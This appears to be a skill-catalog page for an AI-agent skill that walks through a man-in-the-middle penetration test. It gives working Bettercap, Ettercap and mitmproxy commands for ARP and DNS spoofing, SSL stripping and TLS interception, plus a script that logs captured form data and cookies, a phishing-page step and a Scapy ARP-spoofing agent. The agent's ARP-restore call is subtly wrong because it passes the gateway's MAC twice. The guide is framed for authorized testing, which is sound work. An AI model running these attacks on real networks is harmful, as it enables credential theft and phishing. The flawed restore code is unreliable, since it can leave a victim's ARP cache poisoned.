
Conducting Man In The Middle Attack Simulation
- 138 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
conducting-man-in-the-middle-attack-simulation is a Claude Code skill in the AI & Agent Building category.
- conducting-man-in-the-middle-attack-simulation
- AI & Agent Building
- AI-coding skill
Conducting Man In The Middle Attack Simulation by the numbers
- 138 all-time installs (skills.sh)
- +7 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #3,548 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill conducting-man-in-the-middle-attack-simulationAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 138 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Conducting Man-in-the-Middle Attack Simulation
When to Use
- Testing whether applications properly validate TLS certificates and enforce encrypted communications
- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
- Training incident response teams to identify and respond to MITM attack indicators
Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.
Prerequisites
- Written authorization specifying in-scope targets and approved MITM techniques
- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
- Layer 2 access to the same network segment as target hosts
- Custom CA certificate for TLS interception testing (generated specifically for the engagement)
- Wireshark or tshark for capturing and verifying intercepted traffic
- Isolated lab environment or approved production test window with rollback procedures
Workflow
Step 1: Set Up the Attack Environment
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1
# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
-subj "/CN=MITM Test CA/O=Security Assessment/C=US"
# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"Step 2: Execute ARP-Based MITM with Bettercap
# Start Bettercap with interactive mode
sudo bettercap -iface eth0
# Enable network probing to discover hosts
> net.probe on
# Display discovered hosts
> net.show
# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
# Start ARP spoofing
> arp.spoof on
# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on
# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on
# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff onStep 3: Intercept HTTP/HTTPS Traffic with mitmproxy
# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
--set ssl_insecure=true -w mitm_capture.flow
# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json
def request(flow: http.HTTPFlow):
if flow.request.method == "POST":
content_type = flow.request.headers.get("content-type", "")
if "form" in content_type or "json" in content_type:
with open("captured_forms.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Data: {flow.request.get_text()}\n")
f.write("---\n")
def response(flow: http.HTTPFlow):
# Log authentication cookies
if "set-cookie" in flow.response.headers:
with open("captured_cookies.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
f.write("---\n")
PYEOF
sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flowStep 4: Perform DNS Spoofing and DHCP Attacks
# DNS spoofing with Ettercap
sudo tee /etc/ettercap/etter.dns << 'EOF'
# Redirect target domain to attacker's web server
example.com A 192.168.1.99
*.example.com A 192.168.1.99
www.example.com A 192.168.1.99
EOF
sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//
# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on
# Set up a phishing page on the attacker machine
sudo python3 -m http.server 80 --directory /var/www/phishing/Step 5: Validate Detection and Test Controls
# Verify certificate pinning is working on the target application
# If the app rejects the MITM CA, certificate pinning is effective
# Check the target machine for certificate errors
# Test HSTS enforcement
# If browser refuses HTTP connection after initial HTTPS, HSTS is working
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"
# Verify IDS detection of ARP spoofing
# Check Snort/Suricata alerts for ARP anomalies
grep -i "arp" /var/log/snort/alert_fast.txt
# Check if switch detected the attack (DAI logs)
# On Cisco switch: show ip arp inspection log
# Test network monitoring tools
# Verify that Zeek generated appropriate notices
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg
# Capture evidence of successful/failed interception
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300Step 6: Clean Up and Document Results
# Stop all MITM attacks
# In Bettercap:
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit
# Restore IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
# Remove iptables rules
sudo iptables -t nat -F PREROUTING
# Verify ARP tables are restored on target hosts
# The target should re-learn correct MAC addresses via normal ARP
# Force ARP cache refresh (from target machine)
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# Remove test CA certificate from any systems where it was installed
# Remove capture files containing sensitive data per engagement agreement
# Generate documentation
echo "MITM Simulation completed at $(date)" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txtKey Concepts
| Term | Definition |
|---|---|
| Man-in-the-Middle (MITM) | Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly |
| SSL Stripping | Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption |
| HSTS (HTTP Strict Transport Security) | Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections |
| Certificate Pinning | Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates |
| ARP Cache Poisoning | Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine |
| Transparent Proxy | Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports |
Tools & Systems
- Bettercap 2.x: Swiss-army knife for network attacks supporting ARP/DNS/DHCP spoofing, HTTP/HTTPS proxying, and credential sniffing with a modular architecture
- mitmproxy: Interactive TLS-capable proxy for intercepting, inspecting, and modifying HTTP/HTTPS traffic with Python scripting support
- Ettercap: Legacy MITM tool supporting ARP spoofing, DNS spoofing, and plugin-based traffic manipulation
- sslstrip: Tool that implements SSL stripping attacks by proxying HTTP-to-HTTPS redirects and serving downgraded HTTP versions
- Wireshark: Packet analyzer for verifying traffic interception and capturing evidence of successful or failed MITM attempts
Common Scenarios
Scenario: Testing HTTPS Enforcement on an Internal Web Application
Context: A development team claims their internal web application enforces HTTPS with HSTS and certificate pinning. The security team needs to verify these controls during an authorized assessment. The application runs on 10.10.20.50 and is accessed by workstations on the 10.10.1.0/24 VLAN.
Approach: 1. Set up Bettercap on the same VLAN and ARP-spoof a test workstation (10.10.1.100) 2. Enable SSL stripping via Bettercap's HTTP proxy to test whether the application can be downgraded to HTTP 3. Enable HTTPS interception with a test CA certificate to test certificate validation 4. Attempt to access the application from the test workstation and observe whether the browser or application rejects the connection 5. Verify that HSTS headers are present and have appropriate max-age values 6. Document that the thick client does not implement certificate pinning (accepts the MITM CA) while the web browser properly rejects it due to HSTS preload 7. Recommend implementing certificate pinning in the thick client application
Pitfalls:
- Forgetting to enable IP forwarding, causing a denial of service instead of transparent interception
- Testing SSL stripping on an application with HSTS preloaded in the browser and concluding HSTS works, when a fresh browser instance might be vulnerable
- Not cleaning up ARP spoofing after testing, causing intermittent connectivity issues for the target
- Running mitmproxy without the transparent mode flag, requiring manual proxy configuration that changes the test conditions
Output Format
## MITM Simulation Report
**Test ID**: MITM-2024-001
**Date**: 2024-03-15 14:00-16:00 UTC
**Target Application**: https://app.internal.corp (10.10.20.50)
**Test Workstation**: 10.10.1.100
**Attacker Machine**: 10.10.1.99
### Control Validation Results
| Control | Status | Details |
|---------|--------|---------|
| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |
| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |
| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome/Firefox |
| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |
| Cert Pinning (Browser) | N/A | Standard CA validation only |
| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |
| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |
### Recommendations
1. Implement certificate pinning in the thick client (high priority)
2. Add HSTS preload list submission for the domain
3. Enable DAI on access-layer switches for Layer 2 protection
4. Configure application to reject connections from non-pinned certificates
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: MITM Attack Simulation Agent
Overview
Simulates man-in-the-middle attacks using Scapy for ARP spoofing, detects cleartext protocol usage, and checks HSTS enforcement. For authorized penetration testing and lab environments only.
Dependencies
| Package | Version | Purpose |
|---|---|---|
| scapy | >=2.5 | ARP spoofing, packet sniffing, host discovery |
| requests | >=2.28 | HSTS and SSL stripping checks |
CLI Usage
# Host discovery and cleartext detection
python agent.py --network 192.168.1.0/24 --interface eth0 --duration 60
# Full MITM simulation
python agent.py --target 192.168.1.100 --gateway 192.168.1.1 --interface eth0Key Functions
get_mac(ip_address)
Resolves MAC address for a given IP using ARP request via Scapy.
discover_hosts(network_cidr)
Discovers live hosts on a network segment using ARP broadcast scan.
arp_spoof(target_ip, spoof_ip, target_mac)
Sends a spoofed ARP reply to redirect traffic through the attacker machine.
arp_restore(target_ip, gateway_ip, target_mac, gateway_mac)
Restores original ARP tables by sending correct ARP replies after testing.
detect_cleartext_protocols(interface, duration)
Sniffs network traffic for cleartext protocols: HTTP (80), FTP (21), Telnet (23), SMTP (25), POP3 (110), IMAP (143).
check_hsts_enforcement(target_url)
Checks HTTP responses for Strict-Transport-Security headers.
run_mitm_simulation(target_ip, gateway_ip, interface, duration)
Executes a controlled ARP spoofing MITM simulation with automatic ARP restoration on completion.
Scapy Functions Used
| Function | Purpose |
|---|---|
ARP() | Create ARP request/reply packets |
Ether() | Create Ethernet frames |
srp() | Send and receive layer 2 packets |
send() | Send packets at layer 3 |
sniff() | Capture network traffic |
Cleartext Protocols Detected
| Port | Protocol | Risk |
|---|---|---|
| 80 | HTTP | Credential interception |
| 21 | FTP | Cleartext authentication |
| 23 | Telnet | Full session hijacking |
| 25 | SMTP | Email interception |
| 110 | POP3 | Email credential theft |
| 143 | IMAP | Email credential theft |
#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""MITM Attack Simulation Agent - Tests network defenses against ARP spoofing and traffic interception."""
import json
import logging
import argparse
import time
from datetime import datetime
from scapy.all import ARP, Ether, srp, send, sniff, IP, TCP
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def get_mac(ip_address):
"""Resolve MAC address for an IP using ARP request."""
arp_request = ARP(pdst=ip_address)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
packet = broadcast / arp_request
answered, _ = srp(packet, timeout=3, verbose=False)
if answered:
return answered[0][1].hwsrc
return None
def discover_hosts(network_cidr):
"""Discover live hosts on the network via ARP scan."""
arp_request = ARP(pdst=network_cidr)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
answered, _ = srp(broadcast / arp_request, timeout=5, verbose=False)
hosts = []
for sent, received in answered:
hosts.append({"ip": received.psrc, "mac": received.hwsrc})
logger.info("Discovered %d hosts on %s", len(hosts), network_cidr)
return hosts
def arp_spoof(target_ip, spoof_ip, target_mac):
"""Send ARP spoofing packet to redirect traffic."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(packet, verbose=False)
def arp_restore(target_ip, gateway_ip, target_mac, gateway_mac):
"""Restore original ARP tables after test."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
send(packet, count=5, verbose=False)
logger.info("ARP tables restored for %s", target_ip)
def detect_cleartext_protocols(interface, duration=30):
"""Sniff traffic for cleartext protocol usage (HTTP, FTP, Telnet, SMTP)."""
cleartext_ports = {80: "HTTP", 21: "FTP", 23: "Telnet", 25: "SMTP", 110: "POP3", 143: "IMAP"}
findings = []
def packet_callback(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(IP):
dport = pkt[TCP].dport
sport = pkt[TCP].sport
for port, proto in cleartext_ports.items():
if dport == port or sport == port:
findings.append({
"protocol": proto,
"src": pkt[IP].src,
"dst": pkt[IP].dst,
"port": port,
})
logger.info("Sniffing for cleartext protocols on %s for %ds", interface, duration)
sniff(iface=interface, prn=packet_callback, timeout=duration, store=False)
unique = {f"{f['protocol']}:{f['src']}:{f['dst']}" for f in findings}
logger.info("Detected %d cleartext protocol flows", len(unique))
return findings
def check_hsts_enforcement(target_url):
"""Check if a target enforces HSTS headers."""
import requests
try:
resp = requests.get(target_url, timeout=10, verify=False)
hsts = resp.headers.get("Strict-Transport-Security", "")
return {
"url": target_url,
"hsts_present": bool(hsts),
"hsts_value": hsts,
"vulnerable": not bool(hsts),
}
except Exception as e:
return {"url": target_url, "error": str(e)}
def test_ssl_stripping_potential(target_ip, gateway_ip):
"""Evaluate if SSL stripping is feasible by checking HSTS preload status."""
import requests
try:
resp = requests.get(
f"https://hstspreload.org/api/v2/status?domain={target_ip}",
timeout=10,
)
if resp.status_code == 200:
data = resp.json()
return {
"target": target_ip,
"preloaded": data.get("status") == "preloaded",
"ssl_strip_feasible": data.get("status") != "preloaded",
}
except Exception:
pass
return {"target": target_ip, "preloaded": False, "ssl_strip_feasible": True}
def run_mitm_simulation(target_ip, gateway_ip, interface, duration=30):
"""Run a controlled MITM simulation with ARP spoofing and cleartext detection."""
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
if not target_mac or not gateway_mac:
logger.error("Could not resolve MAC addresses")
return None
logger.info("Starting MITM simulation: target=%s gateway=%s", target_ip, gateway_ip)
results = {"target": target_ip, "gateway": gateway_ip, "target_mac": target_mac}
try:
for _ in range(duration):
arp_spoof(target_ip, gateway_ip, target_mac)
arp_spoof(gateway_ip, target_ip, gateway_mac)
time.sleep(1)
except KeyboardInterrupt:
pass
finally:
arp_restore(target_ip, gateway_ip, target_mac, gateway_mac)
arp_restore(gateway_ip, target_ip, gateway_mac, gateway_mac)
results["status"] = "completed"
return results
def generate_report(hosts, cleartext, hsts_results, simulation):
"""Generate MITM assessment report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"hosts_discovered": hosts,
"cleartext_protocols": cleartext,
"hsts_checks": hsts_results,
"simulation_results": simulation,
}
print(json.dumps(report, indent=2))
return report
def main():
parser = argparse.ArgumentParser(description="MITM Attack Simulation Agent")
parser.add_argument("--network", help="Network CIDR for host discovery (e.g., 192.168.1.0/24)")
parser.add_argument("--target", help="Target IP for MITM simulation")
parser.add_argument("--gateway", help="Gateway IP")
parser.add_argument("--interface", default="eth0", help="Network interface")
parser.add_argument("--duration", type=int, default=30, help="Sniff duration in seconds")
parser.add_argument("--output", default="mitm_report.json")
args = parser.parse_args()
hosts = discover_hosts(args.network) if args.network else []
cleartext = detect_cleartext_protocols(args.interface, args.duration)
hsts_results = []
simulation = None
if args.target and args.gateway:
simulation = run_mitm_simulation(args.target, args.gateway, args.interface, args.duration)
report = generate_report(hosts, cleartext, hsts_results, simulation)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()